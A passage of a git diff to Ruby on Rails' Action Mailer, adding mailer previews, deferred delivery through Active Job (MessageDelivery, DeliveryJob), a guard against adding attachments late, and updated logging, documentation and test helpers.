   # Finally, Action Mailer also supports passing <tt>Proc</tt> objects into the default hash, so you
   # can define methods that evaluate as the message is being generated:
   #
-  #   class Notifier < ActionMailer::Base
+  #   class Notifier < ApplicationMailer
   #     default 'X-Special-Header' => Proc.new { my_method }
   #
   #     private
@@ -287,7 +297,7 @@ module ActionMailer
   # This may be useful, for example, when you want to add default inline attachments for all
   # messages sent out by a certain mailer class:
   #
-  #   class Notifier < ActionMailer::Base
+  #   class Notifier < ApplicationMailer
   #     before_action :add_inline_attachment!
   #
   #     def welcome
@@ -301,12 +311,50 @@ module ActionMailer
   #       end
   #   end
   #
-  # Callbacks in ActionMailer are implemented using AbstractController::Callbacks, so you
-  # can define and configure callbacks in the same manner that you would use callbacks in
-  # classes that inherit from ActionController::Base.
+  # Callbacks in Action Mailer are implemented using
+  # <tt>AbstractController::Callbacks</tt>, so you can define and configure
+  # callbacks in the same manner that you would use callbacks in classes that
+  # inherit from <tt>ActionController::Base</tt>.
   #
   # Note that unless you have a specific reason to do so, you should prefer using before_action
-  # rather than after_action in your ActionMailer classes so that headers are parsed properly.
+  # rather than after_action in your Action Mailer classes so that headers are parsed properly.
+  #
+  # = Previewing emails
+  #
+  # You can preview your email templates visually by adding a mailer preview file to the
+  # <tt>ActionMailer::Base.preview_path</tt>. Since most emails do something interesting
+  # with database data, you'll need to write some scenarios to load messages with fake data:
+  #
+  #   class NotifierPreview < ActionMailer::Preview
+  #     def welcome
+  #       Notifier.welcome(User.first)
+  #     end
+  #   end
+  #
+  # Methods must return a <tt>Mail::Message</tt> object which can be generated by calling the mailer
+  # method without the additional <tt>deliver_now</tt> / <tt>deliver_later</tt>. The location of the
+  # mailer previews directory can be configured using the <tt>preview_path</tt> option which has a default
+  # of <tt>test/mailers/previews</tt>:
+  #
+  #   config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+  #
+  # An overview of all previews is accessible at <tt>http://localhost:3000/rails/mailers</tt>
+  # on a running development server instance.
+  #
+  # Previews can also be intercepted in a similar manner as deliveries can be by registering
+  # a preview interceptor that has a <tt>previewing_email</tt> method:
+  #
+  #   class CssInlineStyler
+  #     def self.previewing_email(message)
+  #       # inline CSS styles
+  #     end
+  #   end
+  #
+  #   config.action_mailer.preview_interceptors :css_inline_styler
+  #
+  # Note that interceptors need to be registered both with <tt>register_interceptor</tt>
+  # and <tt>register_preview_interceptor</tt> if they should operate on both sending and
+  # previewing emails.
   #
   # = Configuration options
   #
@@ -317,7 +365,7 @@ module ActionMailer
   #   per the above section.
   #
   # * <tt>logger</tt> - the logger is used for generating information on the mailing run if available.
-  #   Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.
+  #   Can be set to +nil+ for no logging. Compatible with both Ruby's own +Logger+ and Log4r loggers.
   #
   # * <tt>smtp_settings</tt> - Allows detailed configuration for <tt>:smtp</tt> delivery method:
   #   * <tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default
@@ -331,12 +379,13 @@ module ActionMailer
   #     This is a symbol and one of <tt>:plain</tt> (will send the password in the clear), <tt>:login</tt> (will
   #     send password Base64 encoded) or <tt>:cram_md5</tt> (combines a Challenge/Response mechanism to exchange
   #     information and a cryptographic Message Digest 5 algorithm to hash important information)
-  #   * <tt>:enable_starttls_auto</tt> - When set to true, detects if STARTTLS is enabled in your SMTP server
-  #     and starts to use it.
+  #   * <tt>:enable_starttls_auto</tt> - Detects if STARTTLS is enabled in your SMTP server and starts
+  #     to use it. Defaults to <tt>true</tt>.
   #   * <tt>:openssl_verify_mode</tt> - When using TLS, you can set how OpenSSL checks the certificate. This is
   #     really useful if you need to validate a self-signed and/or a wildcard certificate. You can use the name
-  #     of an OpenSSL verify constant ('none', 'peer', 'client_once', 'fail_if_no_peer_cert') or directly the
-  #     constant  (OpenSSL::SSL::VERIFY_NONE, OpenSSL::SSL::VERIFY_PEER, ...).
+  #     of an OpenSSL verify constant (<tt>'none'</tt>, <tt>'peer'</tt>, <tt>'client_once'</tt>,
+  #     <tt>'fail_if_no_peer_cert'</tt>) or directly the constant (<tt>OpenSSL::SSL::VERIFY_NONE</tt>,
+  #     <tt>OpenSSL::SSL::VERIFY_PEER</tt>, ...).
   #
   # * <tt>sendmail_settings</tt> - Allows you to override options for the <tt>:sendmail</tt> delivery method.
   #   * <tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.
@@ -351,17 +400,18 @@ module ActionMailer
   #
   # * <tt>delivery_method</tt> - Defines a delivery method. Possible values are <tt>:smtp</tt> (default),
   #   <tt>:sendmail</tt>, <tt>:test</tt>, and <tt>:file</tt>. Or you may provide a custom delivery method
-  #   object e.g. MyOwnDeliveryMethodClass. See the Mail gem documentation on the interface you need to
+  #   object e.g. +MyOwnDeliveryMethodClass+. See the Mail gem documentation on the interface you need to
   #   implement for a custom delivery agent.
   #
   # * <tt>perform_deliveries</tt> - Determines whether emails are actually sent from Action Mailer when you
-  #   call <tt>.deliver</tt> on an mail message or on an Action Mailer method. This is on by default but can
+  #   call <tt>.deliver</tt> on an email message or on an Action Mailer method. This is on by default but can
   #   be turned off to aid in functional testing.
   #
   # * <tt>deliveries</tt> - Keeps an array of all the emails sent out through the Action Mailer with
   #   <tt>delivery_method :test</tt>. Most useful for unit and functional testing.
   class Base < AbstractController::Base
     include DeliveryMethods
+    include Previews
 
     abstract!
 
@@ -373,6 +423,14 @@ module ActionMailer
     include AbstractController::AssetPaths
     include AbstractController::Callbacks
 
+    include ActionView::Layouts
+
+    PROTECTED_IVARS = AbstractController::Rendering::DEFAULT_PROTECTED_INSTANCE_VARIABLES + [:@_action_has_layout]
+
+    def _protected_ivars # :nodoc:
+      PROTECTED_IVARS
+    end
+
     helper ActionMailer::MailHelper
 
     private_class_method :new #:nodoc:
@@ -385,10 +443,6 @@ module ActionMailer
       parts_order:  [ "text/plain", "text/enriched", "text/html" ]
     }.freeze
 
-    def self.default_protected_instance_vars
-      super.concat [:@_action_has_layout]
-    end
-
     class << self
       # Register one or more Observers which will be notified when mail is delivered.
       def register_observers(*observers)
@@ -401,18 +455,30 @@ module ActionMailer
       end
 
       # Register an Observer which will be notified when mail is delivered.
-      # Either a class or a string can be passed in as the Observer. If a string is passed in
-      # it will be +constantize+d.
+      # Either a class, string or symbol can be passed in as the Observer.
+      # If a string or symbol is passed in it will be camelized and constantized.
       def register_observer(observer)
-        delivery_observer = (observer.is_a?(String) ? observer.constantize : observer)
+        delivery_observer = case observer
+          when String, Symbol
+            observer.to_s.camelize.constantize
+          else
+            observer
+          end
+
         Mail.register_observer(delivery_observer)
       end
 
       # Register an Interceptor which will be called before mail is sent.
-      # Either a class or a string can be passed in as the Interceptor. If a string is passed in
-      # it will be <tt>constantize</tt>d.
+      # Either a class, string or symbol can be passed in as the Interceptor.
+      # If a string or symbol is passed in it will be camelized and constantized.
       def register_interceptor(interceptor)
-        delivery_interceptor = (interceptor.is_a?(String) ? interceptor.constantize : interceptor)
+        delivery_interceptor = case interceptor
+          when String, Symbol
+            interceptor.to_s.camelize.constantize
+          else
+            interceptor
+          end
+
         Mail.register_interceptor(delivery_interceptor)
       end
 
@@ -427,7 +493,7 @@ module ActionMailer
 
       # Sets the defaults through app configuration:
       #
-      #     config.action_mailer.default { from: "no-reply@example.org" }
+      #     config.action_mailer.default(from: "no-reply@example.org")
       #
       # Aliased by ::default_options=
       def default(value = nil)
@@ -460,11 +526,11 @@ module ActionMailer
         end
       end
 
-      # Wraps an email delivery inside of ActiveSupport::Notifications instrumentation.
+      # Wraps an email delivery inside of <tt>ActiveSupport::Notifications</tt> instrumentation.
       #
-      # This method is actually called by the Mail::Message object itself
-      # through a callback when you call +:deliver+ on the Mail::Message,
-      # calling +deliver_mail+ directly and passing a Mail::Message will do
+      # This method is actually called by the <tt>Mail::Message</tt> object itself
+      # through a callback when you call <tt>:deliver</tt> on the <tt>Mail::Message</tt>,
+      # calling +deliver_mail+ directly and passing a <tt>Mail::Message</tt> will do
       # nothing except tell the logger you sent the email.
       def deliver_mail(mail) #:nodoc:
         ActiveSupport::Notifications.instrument("deliver.action_mailer") do |payload|
@@ -492,8 +558,8 @@ module ActionMailer
       end
 
       def method_missing(method_name, *args) # :nodoc:
-        if respond_to?(method_name)
-          new(method_name, *args).message
+        if action_methods.include?(method_name.to_s)
+          MessageDelivery.new(self, method_name, *args)
         else
           super
         end
@@ -513,16 +579,25 @@ module ActionMailer
       process(method_name, *args) if method_name
     end
 
-    def process(*args) #:nodoc:
-      lookup_context.skip_default_locale!
+    def process(method_name, *args) #:nodoc:
+      payload = {
+        mailer: self.class.name,
+        action: method_name
+      }
 
-      super
-      @_message = NullMail.new unless @_mail_was_called
+      ActiveSupport::Notifications.instrument("process.action_mailer", payload) do
+        super
+        @_message = NullMail.new unless @_mail_was_called
+      end
     end
 
     class NullMail #:nodoc:
       def body; '' end
 
+      def respond_to?(string, include_all=false)
+        true
+      end
+
       def method_missing(*args)
         nil
       end
@@ -533,20 +608,40 @@ module ActionMailer
       self.class.mailer_name
     end
 
-    # Allows you to pass random and unusual headers to the new Mail::Message
+    # Allows you to pass random and unusual headers to the new <tt>Mail::Message</tt>
     # object which will add them to itself.
     #
     #   headers['X-Special-Domain-Specific-Header'] = "SecretValue"
     #
     # You can also pass a hash into headers of header field names and values,
-    # which will then be set on the Mail::Message object:
+    # which will then be set on the <tt>Mail::Message</tt> object:
     #
     #   headers 'X-Special-Domain-Specific-Header' => "SecretValue",
     #           'In-Reply-To' => incoming.message_id
     #
-    # The resulting Mail::Message will have the following in its header:
+    # The resulting <tt>Mail::Message</tt> will have the following in its header:
     #
     #   X-Special-Domain-Specific-Header: SecretValue
+    #
+    # Note about replacing already defined headers:
+    #
+    # * +subject+
+    # * +sender+
+    # * +from+
+    # * +to+
+    # * +cc+
+    # * +bcc+
+    # * +reply-to+
+    # * +orig-date+
+    # * +message-id+
+    # * +references+
+    #
+    # Fields can only appear once in email headers while other fields such as
+    # <tt>X-Anything</tt> can appear multiple times.
+    #
+    # If you want to replace any header which already exists, first set it to
+    # +nil+ in order to reset the value otherwise another field will be added
+    # for the same header.
     def headers(args = nil)
       if args
         @_message.headers(args)
@@ -586,14 +681,29 @@ module ActionMailer
     #  mail.attachments[0]                # => Mail::Part (first attachment)
     #
     def attachments
-      @_message.attachments
+      if @_mail_was_called
+        LateAttachmentsProxy.new(@_message.attachments)
+      else
+        @_message.attachments
+      end
+    end
+
+    class LateAttachmentsProxy < SimpleDelegator
+      def inline; _raise_error end
+      def []=(_name, _content); _raise_error end
+
+      private
+        def _raise_error
+          raise RuntimeError, "Can't add attachments after `mail` was called.\n" \
+                              "Make sure to use `attachments[]=` before calling `mail`."
+        end
     end
 
     # The main method that creates the message and renders the email templates. There are
     # two ways to call this method, with a block, or without a block.
     #
-    # Both methods accept a headers hash. This hash allows you to specify the most used headers
-    # in an email message, these are:
+    # It accepts a headers hash. This hash allows you to specify
+    # the most used headers in an email message, these are:
     #
     # * +:subject+ - The subject of the message, if this is omitted, Action Mailer will
     #   ask the Rails I18n class for a translated +:subject+ in the scope of
@@ -633,13 +743,13 @@ module ActionMailer
     # templates in the view paths using by default the mailer name and the
     # method name that it is being called from, it will then create parts for
     # each of these templates intelligently, making educated guesses on correct
-    # content type and sequence, and return a fully prepared Mail::Message
-    # ready to call +:deliver+ on to send.
+    # content type and sequence, and return a fully prepared <tt>Mail::Message</tt>
+    # ready to call <tt>:deliver</tt> on to send.
     #
     # For example:
     #
     #   class Notifier < ActionMailer::Base
-    #     default from: 'no-reply@test.lindsaar.net',
+    #     default from: 'no-reply@test.lindsaar.net'
     #
     #     def welcome
     #       mail(to: 'mikel@test.lindsaar.net')
@@ -662,11 +772,11 @@ module ActionMailer
     #     format.html
     #   end
     #
-    # You can even render text directly without using a template:
+    # You can even render plain text directly without using a template:
     #
     #   mail(to: 'mikel@test.lindsaar.net') do |format|
-    #     format.text { render text: "Hello Mikel!" }
-    #     format.html { render text: "<h1>Hello Mikel!</h1>" }
+    #     format.text { render plain: "Hello Mikel!" }
+    #     format.html { render html: "<h1>Hello Mikel!</h1>".html_safe }
     #   end
     #
     # Which will render a +multipart/alternative+ email with +text/plain+ and
@@ -680,16 +790,17 @@ module ActionMailer
     #   end
     #
     def mail(headers = {}, &block)
-      @_mail_was_called = true
+      return @_message if @_mail_was_called && headers.blank? && !block
+
       m = @_message
 
       # At the beginning, do not consider class default for content_type
       content_type = headers[:content_type]
 
       # Call all the procs (if any)
-      class_default = self.class.default
-      default_values = class_default.merge(class_default) do |k,v|
-        v.is_a?(Proc) ? instance_eval(&v) : v
+      default_values = {}
+      self.class.default.each do |k,v|
+        default_values[k] = v.is_a?(Proc) ? instance_eval(&v) : v
       end
 
       # Handle defaults
@@ -700,7 +811,7 @@ module ActionMailer
       m.charset = charset = headers[:charset]
 
       # Set configure delivery behavior
-      wrap_delivery_behavior!(headers.delete(:delivery_method),headers.delete(:delivery_method_options))
+      wrap_delivery_behavior!(headers.delete(:delivery_method), headers.delete(:delivery_method_options))
 
       # Assign all headers except parts_order, content_type and body
       assignable = headers.except(:parts_order, :content_type, :body, :template_name, :template_path)
@@ -708,6 +819,8 @@ module ActionMailer
 
       # Render the templates and blocks
       responses = collect_responses(headers, &block)
+      @_mail_was_called = true
+
       create_parts_from_responses(m, responses)
 
       # Setup content type, reapply charset and handle parts order
@@ -739,7 +852,7 @@ module ActionMailer
       when user_content_type.present?
         user_content_type
       when m.has_attachments?
-        if m.attachments.detect { |a| a.inline? }
+        if m.attachments.detect(&:inline?)
           ["multipart", "related", params]
         else
           ["multipart", "mixed", params]
@@ -794,7 +907,7 @@ module ActionMailer
       if templates.empty?
         raise ActionView::MissingTemplate.new(paths, name, paths, false, 'mailer')
       else
-        templates.uniq { |t| t.formats }.each(&block)
+        templates.uniq(&:formats).each(&block)
       end
     end
 
@@ -817,6 +930,11 @@ module ActionMailer
       container.add_part(part)
     end
 
+    # Emails do not support relative path links.
+    def self.supports_path?
+      false
+    end
+
     ActiveSupport.run_load_hooks(:action_mailer, self)
   end
 end
diff --git a/actionmailer/lib/action_mailer/delivery_job.rb b/actionmailer/lib/action_mailer/delivery_job.rb
new file mode 100644
index 0000000000..e864ab7a4d
--- /dev/null
+++ b/actionmailer/lib/action_mailer/delivery_job.rb
@@ -0,0 +1,13 @@
+require 'active_job'
+
+module ActionMailer
+  # The <tt>ActionMailer::DeliveryJob</tt> class is used when you
+  # want to send emails outside of the request-response cycle.
+  class DeliveryJob < ActiveJob::Base # :nodoc:
+    queue_as :mailers
+
+    def perform(mailer, mail_method, delivery_method, *args) #:nodoc:
+      mailer.constantize.public_send(mail_method, *args).send(delivery_method)
+    end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/delivery_methods.rb b/actionmailer/lib/action_mailer/delivery_methods.rb
index 9a1a27c8ed..aedcd81e52 100644
--- a/actionmailer/lib/action_mailer/delivery_methods.rb
+++ b/actionmailer/lib/action_mailer/delivery_methods.rb
@@ -64,7 +64,7 @@ module ActionMailer
           raise "Delivery method cannot be nil"
         when Symbol
           if klass = delivery_methods[method]
-            mail.delivery_method(klass,(send(:"#{method}_settings") || {}).merge!(options || {}))
+            mail.delivery_method(klass, (send(:"#{method}_settings") || {}).merge(options || {}))
           else
             raise "Invalid delivery method #{method.inspect}"
           end
diff --git a/actionmailer/lib/action_mailer/gem_version.rb b/actionmailer/lib/action_mailer/gem_version.rb
new file mode 100644
index 0000000000..ac79788cf0
--- /dev/null
+++ b/actionmailer/lib/action_mailer/gem_version.rb
@@ -0,0 +1,15 @@
+module ActionMailer
+  # Returns the version of the currently loaded Action Mailer as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 5
+    MINOR = 0
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/actionmailer/lib/action_mailer/log_subscriber.rb b/actionmailer/lib/action_mailer/log_subscriber.rb
index 8467d45986..5b57c75ec3 100644
--- a/actionmailer/lib/action_mailer/log_subscriber.rb
+++ b/actionmailer/lib/action_mailer/log_subscriber.rb
@@ -6,17 +6,27 @@ module ActionMailer
   class LogSubscriber < ActiveSupport::LogSubscriber
     # An email was delivered.
     def deliver(event)
-      return unless logger.info?
-      recipients = Array(event.payload[:to]).join(', ')
-      info("\nSent mail to #{recipients} (#{event.duration.round(1)}ms)")
-      debug(event.payload[:mail])
+      info do
+        recipients = Array(event.payload[:to]).join(', ')
+        "\nSent mail to #{recipients} (#{event.duration.round(1)}ms)"
+      end
+
+      debug { event.payload[:mail] }
     end
 
     # An email was received.
     def receive(event)
-      return unless logger.info?
-      info("\nReceived mail (#{event.duration.round(1)}ms)")
-      debug(event.payload[:mail])
+      info { "\nReceived mail (#{event.duration.round(1)}ms)" }
+      debug { event.payload[:mail] }
+    end
+
+    # An email was generated.
+    def process(event)
+      debug do
+        mailer = event.payload[:mailer]
+        action = event.payload[:action]
+        "\n#{mailer}##{action}: processed outbound mail in #{event.duration.round(1)}ms"
+      end
     end
 
     # Use the logger configured for ActionMailer::Base
diff --git a/actionmailer/lib/action_mailer/mail_helper.rb b/actionmailer/lib/action_mailer/mail_helper.rb
index 54ad9f066f..cc7935a7e0 100644
--- a/actionmailer/lib/action_mailer/mail_helper.rb
+++ b/actionmailer/lib/action_mailer/mail_helper.rb
@@ -11,8 +11,8 @@ module ActionMailer
       }.join("\n\n")
 
       # Make list points stand on their own line
-      formatted.gsub!(/[ ]*([*]+) ([^*]*)/) { |s| "  #{$1} #{$2.strip}\n" }
-      formatted.gsub!(/[ ]*([#]+) ([^#]*)/) { |s| "  #{$1} #{$2.strip}\n" }
+      formatted.gsub!(/[ ]*([*]+) ([^*]*)/) { "  #{$1} #{$2.strip}\n" }
+      formatted.gsub!(/[ ]*([#]+) ([^#]*)/) { "  #{$1} #{$2.strip}\n" }
 
       formatted
     end
@@ -29,7 +29,7 @@ module ActionMailer
 
     # Access the message attachments list.
     def attachments
-      @_message.attachments
+      mailer.attachments
     end
 
     # Returns +text+ wrapped at +len+ columns and indented +indent+ spaces.
diff --git a/actionmailer/lib/action_mailer/message_delivery.rb b/actionmailer/lib/action_mailer/message_delivery.rb
new file mode 100644
index 0000000000..ff2cb0fd01
--- /dev/null
+++ b/actionmailer/lib/action_mailer/message_delivery.rb
@@ -0,0 +1,94 @@
+require 'delegate'
+
+module ActionMailer
+
+  # The <tt>ActionMailer::MessageDelivery</tt> class is used by
+  # <tt>ActionMailer::Base</tt> when creating a new mailer.
+  # <tt>MessageDelivery</tt> is a wrapper (+Delegator+ subclass) around a lazy
+  # created <tt>Mail::Message</tt>. You can get direct access to the
+  # <tt>Mail::Message</tt>, deliver the email or schedule the email to be sent
+  # through Active Job.
+  #
+  #   Notifier.welcome(User.first)               # an ActionMailer::MessageDelivery object
+  #   Notifier.welcome(User.first).deliver_now   # sends the email
+  #   Notifier.welcome(User.first).deliver_later # enqueue email delivery as a job through Active Job
+  #   Notifier.welcome(User.first).message       # a Mail::Message object
+  class MessageDelivery < Delegator
+    def initialize(mailer, mail_method, *args) #:nodoc:
+      @mailer = mailer
+      @mail_method = mail_method
+      @args = args
+    end
+
+    def __getobj__ #:nodoc:
+      @obj ||= @mailer.send(:new, @mail_method, *@args).message
+    end
+
+    def __setobj__(obj) #:nodoc:
+      @obj = obj
+    end
+
+    # Returns the Mail::Message object
+    def message
+      __getobj__
+    end
+
+    # Enqueues the email to be delivered through Active Job. When the
+    # job runs it will send the email using +deliver_now!+. That means
+    # that the message will be sent bypassing checking +perform_deliveries+
+    # and +raise_delivery_errors+, so use with caution.
+    #
+    #   Notifier.welcome(User.first).deliver_later!
+    #   Notifier.welcome(User.first).deliver_later!(wait: 1.hour)
+    #   Notifier.welcome(User.first).deliver_later!(wait_until: 10.hours.from_now)
+    #
+    # Options:
+    #
+    # * <tt>:wait</tt> - Enqueue the email to be delivered with a delay
+    # * <tt>:wait_until</tt> - Enqueue the email to be delivered at (after) a specific date / time
+    # * <tt>:queue</tt> - Enqueue the email on the specified queue
+    def deliver_later!(options={})
+      enqueue_delivery :deliver_now!, options
+    end
+
+    # Enqueues the email to be delivered through Active Job. When the
+    # job runs it will send the email using +deliver_now+.
+    #
+    #   Notifier.welcome(User.first).deliver_later
+    #   Notifier.welcome(User.first).deliver_later(wait: 1.hour)
+    #   Notifier.welcome(User.first).deliver_later(wait_until: 10.hours.from_now)
+    #
+    # Options:
+    #
+    # * <tt>:wait</tt> - Enqueue the email to be delivered with a delay
+    # * <tt>:wait_until</tt> - Enqueue the email to be delivered at (after) a specific date / time
+    # * <tt>:queue</tt> - Enqueue the email on the specified queue
+    def deliver_later(options={})
+      enqueue_delivery :deliver_now, options
+    end
+
+    # Delivers an email without checking +perform_deliveries+ and +raise_delivery_errors+,
+    # so use with caution.
+    #
+    #   Notifier.welcome(User.first).deliver_now!
+    #
+    def deliver_now!
+      message.deliver!
+    end
+
+    # Delivers an email:
+    #
+    #   Notifier.welcome(User.first).deliver_now
+    #
+    def deliver_now
+      message.deliver
+    end
+
+    private
+
+      def enqueue_delivery(delivery_method, options={})
+        args = @mailer.name, @mail_method.to_s, delivery_method.to_s, *@args
+        ActionMailer::DeliveryJob.set(options).perform_later(*args)
+      end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/preview.rb b/actionmailer/lib/action_mailer/preview.rb
new file mode 100644
index 0000000000..44cf6665ba
--- /dev/null
+++ b/actionmailer/lib/action_mailer/preview.rb
@@ -0,0 +1,118 @@
+require 'active_support/descendants_tracker'
+
+module ActionMailer
+  module Previews #:nodoc:
+    extend ActiveSupport::Concern
+
+    included do
+      # Set the location of mailer previews through app configuration:
+      #
+      #     config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+      #
+      mattr_accessor :preview_path, instance_writer: false
+
+      # Enable or disable mailer previews through app configuration:
+      #
+      #     config.action_mailer.show_previews = true
+      #
+      # Defaults to true for development environment
+      #
+      mattr_accessor :show_previews, instance_writer: false
+
+      # :nodoc:
+      mattr_accessor :preview_interceptors, instance_writer: false
+      self.preview_interceptors = []
+    end
+
+    module ClassMethods
+      # Register one or more Interceptors which will be called before mail is previewed.
+      def register_preview_interceptors(*interceptors)
+        interceptors.flatten.compact.each { |interceptor| register_preview_interceptor(interceptor) }
+      end
+
+      # Register an Interceptor which will be called before mail is previewed.
+      # Either a class or a string can be passed in as the Interceptor. If a
+      # string is passed in it will be <tt>constantize</tt>d.
+      def register_preview_interceptor(interceptor)
+        preview_interceptor = case interceptor
+          when String, Symbol
+            interceptor.to_s.camelize.constantize
+          else
+            interceptor
+          end
+
+        unless preview_interceptors.include?(preview_interceptor)
+          preview_interceptors << preview_interceptor
+        end
+      end
+    end
+  end
+
+  class Preview
+    extend ActiveSupport::DescendantsTracker
+
+    class << self
+      # Returns all mailer preview classes
+      def all
+        load_previews if descendants.empty?
+        descendants
+      end
+
+      # Returns the mail object for the given email name. The registered preview
+      # interceptors will be informed so that they can transform the message
+      # as they would if the mail was actually being delivered.
+      def call(email)
+        preview = self.new
+        message = preview.public_send(email)
+        inform_preview_interceptors(message)
+        message
+      end
+
+      # Returns all of the available email previews
+      def emails
+        public_instance_methods(false).map(&:to_s).sort
+      end
+
+      # Returns true if the email exists
+      def email_exists?(email)
+        emails.include?(email)
+      end
+
+      # Returns true if the preview exists
+      def exists?(preview)
+        all.any?{ |p| p.preview_name == preview }
+      end
+
+      # Find a mailer preview by its underscored class name
+      def find(preview)
+        all.find{ |p| p.preview_name == preview }
+      end
+
+      # Returns the underscored name of the mailer preview without the suffix
+      def preview_name
+        name.sub(/Preview$/, '').underscore
+      end
+
+      protected
+        def load_previews #:nodoc:
+          if preview_path
+            Dir["#{preview_path}/**/*_preview.rb"].each{ |file| require_dependency file }
+          end
+        end
+
+        def preview_path #:nodoc:
+          Base.preview_path
+        end
+
+        def show_previews #:nodoc:
+          Base.show_previews
+        end
+
+        def inform_preview_interceptors(message) #:nodoc:
+          Base.preview_interceptors.each do |interceptor|
+            interceptor.previewing_email(message)
+          end
+        end
+    end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/railtie.rb b/actionmailer/lib/action_mailer/railtie.rb
index 7677ff3a7c..bebcf4de01 100644
--- a/actionmailer/lib/action_mailer/railtie.rb
+++ b/actionmailer/lib/action_mailer/railtie.rb
@@ -1,3 +1,4 @@
+require 'active_job/railtie'
 require "action_mailer"
 require "rails"
 require "abstract_controller/railties/routes_helpers"
@@ -18,6 +19,11 @@ module ActionMailer
       options.assets_dir      ||= paths["public"].first
       options.javascripts_dir ||= paths["public/javascripts"].first
       options.stylesheets_dir ||= paths["public/stylesheets"].first
+      options.show_previews = Rails.env.development? if options.show_previews.nil?
+
+      if options.show_previews
+        options.preview_path  ||= defined?(Rails.root) ? "#{Rails.root}/test/mailers/previews" : nil
+      end
 
       # make sure readers methods get compiled
       options.asset_host          ||= app.config.asset_host
@@ -25,13 +31,21 @@ module ActionMailer
 
       ActiveSupport.on_load(:action_mailer) do
         include AbstractController::UrlFor
-        extend ::AbstractController::Railties::RoutesHelpers.with(app.routes)
+        extend ::AbstractController::Railties::RoutesHelpers.with(app.routes, false)
         include app.routes.mounted_helpers
 
         register_interceptors(options.delete(:interceptors))
+        register_preview_interceptors(options.delete(:preview_interceptors))
         register_observers(options.delete(:observers))
 
         options.each { |k,v| send("#{k}=", v) }
+
+        if options.show_previews
+          app.routes.prepend do
+            get '/rails/mailers'         => "rails/mailers#index"
+            get '/rails/mailers/*path'   => "rails/mailers#preview"
+          end
+        end
       end
     end
 
@@ -40,5 +54,11 @@ module ActionMailer
         config.compile_methods! if config.respond_to?(:compile_methods!)
       end
     end
+
+    config.after_initialize do
+      if ActionMailer::Base.preview_path
+        ActiveSupport::Dependencies.autoload_paths << ActionMailer::Base.preview_path
+      end
+    end
   end
 end
diff --git a/actionmailer/lib/action_mailer/test_case.rb b/actionmailer/lib/action_mailer/test_case.rb
index 207f949fe2..766215ce96 100644
--- a/actionmailer/lib/action_mailer/test_case.rb
+++ b/actionmailer/lib/action_mailer/test_case.rb
@@ -1,4 +1,5 @@
 require 'active_support/test_case'
+require 'rails-dom-testing'
 
 module ActionMailer
   class NonInferrableMailerError < ::StandardError
@@ -15,11 +16,14 @@ module ActionMailer
 
       include ActiveSupport::Testing::ConstantLookup
       include TestHelper
+      include Rails::Dom::Testing::Assertions::SelectorAssertions
+      include Rails::Dom::Testing::Assertions::DomAssertions
 
       included do
         class_attribute :_mailer_class
         setup :initialize_test_deliveries
         setup :set_expected_mail
+        teardown :restore_test_deliveries
       end
 
       module ClassMethods
@@ -54,11 +58,26 @@ module ActionMailer
       protected
 
         def initialize_test_deliveries
-          ActionMailer::Base.delivery_method = :test
+          set_delivery_method :test
+          @old_perform_deliveries = ActionMailer::Base.perform_deliveries
           ActionMailer::Base.perform_deliveries = true
+        end
+
+        def restore_test_deliveries
+          restore_delivery_method
+          ActionMailer::Base.perform_deliveries = @old_perform_deliveries
           ActionMailer::Base.deliveries.clear
         end
 
+        def set_delivery_method(method)
+          @old_delivery_method = ActionMailer::Base.delivery_method
+          ActionMailer::Base.delivery_method = method
+        end
+
+        def restore_delivery_method
+          ActionMailer::Base.delivery_method = @old_delivery_method
+        end
+
         def set_expected_mail
           @expected = Mail.new
           @expected.content_type ["text", "plain", { "charset" => charset }]
diff --git a/actionmailer/lib/action_mailer/test_helper.rb b/actionmailer/lib/action_mailer/test_helper.rb
index 6452bf616c..524e6e3af1 100644
--- a/actionmailer/lib/action_mailer/test_helper.rb
+++ b/actionmailer/lib/action_mailer/test_helper.rb
@@ -1,12 +1,18 @@
+require 'active_job'
+
 module ActionMailer
+  # Provides helper methods for testing Action Mailer, including #assert_emails
+  # and #assert_no_emails
   module TestHelper
+    include ActiveJob::TestHelper
+
     # Asserts that the number of emails sent matches the given number.
     #
     #   def test_emails
     #     assert_emails 0
-    #     ContactMailer.welcome.deliver
+    #     ContactMailer.welcome.deliver_now
     #     assert_emails 1
-    #     ContactMailer.welcome.deliver
+    #     ContactMailer.welcome.deliver_now
     #     assert_emails 2
     #   end
     #
@@ -15,12 +21,12 @@ module ActionMailer
     #
     #   def test_emails_again
     #     assert_emails 1 do
-    #       ContactMailer.welcome.deliver
+    #       ContactMailer.welcome.deliver_now
     #     end
     #
     #     assert_emails 2 do
-    #       ContactMailer.welcome.deliver
-    #       ContactMailer.welcome.deliver
+    #       ContactMailer.welcome.deliver_now
+    #       ContactMailer.welcome.deliver_now
     #     end
     #   end
     def assert_emails(number)
@@ -38,7 +44,7 @@ module ActionMailer
     #
     #   def test_emails
     #     assert_no_emails
-    #     ContactMailer.welcome.deliver
+    #     ContactMailer.welcome.deliver_now
     #     assert_emails 1
     #   end
     #
@@ -56,5 +62,52 @@ module ActionMailer
     def assert_no_emails(&block)
       assert_emails 0, &block
     end
+
+    # Asserts that the number of emails enqueued for later delivery matches
+    # the given number.
+    #
+    #   def test_emails
+    #     assert_enqueued_emails 0
+    #     ContactMailer.welcome.deliver_later
+    #     assert_enqueued_emails 1
+    #     ContactMailer.welcome.deliver_later
+    #     assert_enqueued_emails 2
+    #   end
+    #
+    # If a block is passed, that block should cause the specified number of
+    # emails to be enqueued.
+    #
+    #   def test_emails_again
+    #     assert_enqueued_emails 1 do
+    #       ContactMailer.welcome.deliver_later
+    #     end
+    #
+    #     assert_enqueued_emails 2 do
+    #       ContactMailer.welcome.deliver_later
+    #       ContactMailer.welcome.deliver_later
+    #     end
+    #   end
+    def assert_enqueued_emails(number, &block)
+      assert_enqueued_jobs number, only: ActionMailer::DeliveryJob, &block
+    end
+
+    # Asserts that no emails are enqueued for later delivery.
